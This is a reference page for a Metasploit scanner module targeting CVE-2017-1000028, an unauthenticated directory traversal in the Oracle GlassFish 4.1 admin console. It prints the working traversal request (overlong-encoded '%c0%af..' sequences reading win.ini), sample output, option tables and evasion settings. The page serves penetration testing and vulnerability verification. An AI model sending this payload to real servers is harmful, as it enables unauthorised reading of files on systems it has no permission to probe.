Path Traversal in Oracle GlassFish Server Open Source Edition - Metasploit
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Module Overview
Name: Path Traversal in Oracle GlassFish Server Open Source Edition
Module: auxiliary/scanner/http/glassfish_traversal
Source code: modules/auxiliary/scanner/http/glassfish_traversal.rb
Disclosure date: 2015-08-08
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 4848, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-1000028
This module exploits an unauthenticated directory traversal vulnerability which exists in administration console of Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/glassfish_traversal
msf auxiliary(glassfish_traversal) > show options
... show and set options ...
msf auxiliary(glassfish_traversal) > set RHOSTS ip-range
msf auxiliary(glassfish_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(glassfish_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(glassfish_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(glassfish_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an unauthenticated directory traversal vulnerability which exists in administration console of, Oracle GlassFish Server 4.1, which is listening by default on port 4848/TCP.
Related links :
- https://www.exploit-db.com/exploits/39441/
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
- http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip - Download Oracle Glass Fish 4.1
Verification Steps
- Start msfconsole
- Do:
use auxiliary/scanner/http/glassfish_traversal
- Do:
set RHOSTS [IP]
- Do:
run
Scenarios
msf > use auxiliary/scanner/http/glassfish_traversal
msf auxiliary(scanner/http/glassfish_traversal) > set RHOSTS 192.168.1.105
RHOSTS => 192.168.1.105
msf auxiliary(scanner/http/glassfish_traversal) > set verbose true
verbose => true
msf auxiliary(scanner/http/glassfish_traversal) > run
[+] 192.168.1.105:4848 - ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[+] File saved in: /home/input0/.msf4/loot/20180804132151_default_192.168.1.105_oracle.traversal_244542.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/glassfish_traversal) >
HTTP Request
GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini HTTP/1.1
Host: 192.168.1.105:4848
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=3c54ae091ab200dc3ce8ecfff7c1
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 04 Aug 2018 05:53:42 GMT
HTTP Response
HTTP/1.1 200 OK
Content-Length: 403
Content-Type: text/plain
Expires: Mon, 30 Jul 2018 11:16:55 GMT
Last-Modified: Tue, 14 Jul 2009 05:09:22 GMT
Server: Microsoft-HTTPAPI/2.0
Date: Sun, 29 Jul 2018 06:46:55 GMT
Connection: close
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
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Msfconsole Usage
Here is how the scanner/http/glassfish_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/glassfish_traversal
msf6 auxiliary(scanner/http/glassfish_traversal) > show info
Name: Path Traversal in Oracle GlassFish Server Open Source Edition
Module: auxiliary/scanner/http/glassfish_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-08-08
Provided by:
Trustwave SpiderLabs
Dhiraj Mishra
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 13 yes Depth for Path Traversal
FILEPATH /windows/win.ini yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4848 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits an unauthenticated directory traversal
vulnerability which exists in administration console of Oracle
GlassFish Server 4.1, which is listening by default on port
4848/TCP.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-1000028
https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
https://www.exploit-db.com/exploits/39441
Module Options
This is a complete list of options available in the scanner/http/glassfish_traversal auxiliary module:
msf6 auxiliary(scanner/http/glassfish_traversal) > show options
Module options (auxiliary/scanner/http/glassfish_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 13 yes Depth for Path Traversal
FILEPATH /windows/win.ini yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4848 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/glassfish_traversal auxiliary module:
msf6 auxiliary(scanner/http/glassfish_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/glassfish_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/glassfish_traversal module can do:
msf6 auxiliary(scanner/http/glassfish_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/glassfish_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/glassfish_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Nothing was downloaded
Here is a relevant code snippet related to the "Nothing was downloaded" error message:
47: 'method' => 'GET',
48: 'uri' => "/theme/META-INF/prototype#{traversal}"
49: })
50:
51: unless res && res.code == 200
52: print_error('Nothing was downloaded')
53: return
54: end
55:
56: vprint_good("#{peer} - #{res.body}")
57: path = store_loot(
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10845 Merged Pull Request: fix small typo
- #10404 Merged Pull Request: Path Traversal Oracle GlassFish
References
- CVE-2017-1000028
- https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904
- EDB-39441
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/glassfish_login
- exploit/multi/http/glassfish_deployer
- exploit/multi/browser/java_jre17_glassfish_averagerangestatisticimpl
Authors
- Trustwave SpiderLabs
- Dhiraj Mishra
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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